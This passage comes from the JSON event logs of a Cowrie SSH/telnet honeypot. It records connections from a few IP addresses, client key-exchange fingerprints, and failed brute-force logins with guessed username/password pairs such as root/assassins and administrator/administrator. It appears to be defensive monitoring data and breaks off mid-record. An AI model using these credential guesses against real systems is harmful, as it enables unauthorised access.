{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:59.436286Z","src_ip":"103.122.221.179","session":"541151d5ea28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:02:59.691797Z","src_ip":"45.153.34.112","session":"c5730ba7f5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assassins","message":"login attempt [root/assassins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:00.201501Z","src_ip":"103.122.221.179","session":"541151d5ea28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:00.493745Z","src_ip":"103.98.149.87","session":"f3c4f180bcfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":45102,"dst_ip":"159.203.135.109","dst_port":22,"session":"3571788f8c3b","protocol":"ssh","message":"New connection: 103.149.170.125:45102 (159.203.135.109:22) [session: 3571788f8c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:00.976651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:00.982019Z","src_ip":"103.149.170.125","session":"3571788f8c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:01.250720Z","src_ip":"103.149.170.125","session":"3571788f8c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:01.458149Z","src_ip":"103.122.221.179","session":"541151d5ea28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50344,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee84843e11f","protocol":"ssh","message":"New connection: 45.153.34.112:50344 (10.17.0.5:22) [session: 5ee84843e11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:01.950673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:01.956049Z","src_ip":"45.153.34.112","session":"5ee84843e11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:02.040479Z","src_ip":"45.153.34.112","session":"5ee84843e11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:02.303718Z","src_ip":"45.153.34.112","session":"5ee84843e11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andre","message":"login attempt [root/andre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:02.368500Z","src_ip":"103.149.170.125","session":"3571788f8c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:03.392637Z","src_ip":"45.153.34.112","session":"5ee84843e11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:03.635903Z","src_ip":"103.149.170.125","session":"3571788f8c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.0877366065979,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:05.391239Z","src_ip":"192.119.13.58","session":"06330c1ffd60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37690,"dst_ip":"10.17.0.5","dst_port":23,"session":"9caf5ee42257","protocol":"telnet","message":"New connection: 192.119.13.58:37690 (10.17.0.5:23) [session: 9caf5ee42257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:05.525024Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50358,"dst_ip":"10.17.0.5","dst_port":22,"session":"793d96dd1e78","protocol":"ssh","message":"New connection: 45.153.34.112:50358 (10.17.0.5:22) [session: 793d96dd1e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:05.547577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:05.557486Z","src_ip":"45.153.34.112","session":"793d96dd1e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:05.643429Z","src_ip":"45.153.34.112","session":"793d96dd1e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:05.895103Z","src_ip":"45.153.34.112","session":"793d96dd1e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:07.064600Z","src_ip":"45.153.34.112","session":"793d96dd1e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50362,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5b92d2d48b","protocol":"ssh","message":"New connection: 45.153.34.112:50362 (10.17.0.5:22) [session: ce5b92d2d48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:08.991941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:08.997453Z","src_ip":"45.153.34.112","session":"ce5b92d2d48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:09.079769Z","src_ip":"45.153.34.112","session":"ce5b92d2d48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:09.325054Z","src_ip":"45.153.34.112","session":"ce5b92d2d48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:10.410701Z","src_ip":"45.153.34.112","session":"ce5b92d2d48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38636,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bd1209aa71","protocol":"ssh","message":"New connection: 45.153.34.112:38636 (10.17.0.5:22) [session: 83bd1209aa71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:12.681195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:12.691227Z","src_ip":"45.153.34.112","session":"83bd1209aa71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:12.774906Z","src_ip":"45.153.34.112","session":"83bd1209aa71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42766,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb6f75c06636","protocol":"telnet","message":"New connection: 192.119.13.58:42766 (10.17.0.5:23) [session: eb6f75c06636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:12.786717Z"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:13.205529Z","src_ip":"45.153.34.112","session":"83bd1209aa71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.17077684402466,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:14.350559Z","src_ip":"192.119.13.58","session":"2e0e897dd772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:14.446892Z","src_ip":"45.153.34.112","session":"83bd1209aa71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d185240f7306","protocol":"telnet","message":"New connection: 192.119.13.58:53896 (10.17.0.5:23) [session: d185240f7306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:15.318498Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38640,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3490ccceab0","protocol":"ssh","message":"New connection: 45.153.34.112:38640 (10.17.0.5:22) [session: a3490ccceab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:16.292629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:16.297747Z","src_ip":"45.153.34.112","session":"a3490ccceab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.057352781295776,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:16.302644Z","src_ip":"192.119.13.58","session":"356eefccbc18","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:16.382377Z","src_ip":"45.153.34.112","session":"a3490ccceab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:16.780280Z","src_ip":"45.153.34.112","session":"a3490ccceab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:17.868821Z","src_ip":"45.153.34.112","session":"a3490ccceab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09117364883423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:19.326429Z","src_ip":"192.119.13.58","session":"656464b5c799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.707292556762695,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:19.396996Z","src_ip":"192.119.13.58","session":"31df2ee170f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58566,"dst_ip":"10.17.0.5","dst_port":22,"session":"927363877c15","protocol":"ssh","message":"New connection: 45.153.34.112:58566 (10.17.0.5:22) [session: 927363877c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:20.263687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:20.268541Z","src_ip":"45.153.34.112","session":"927363877c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 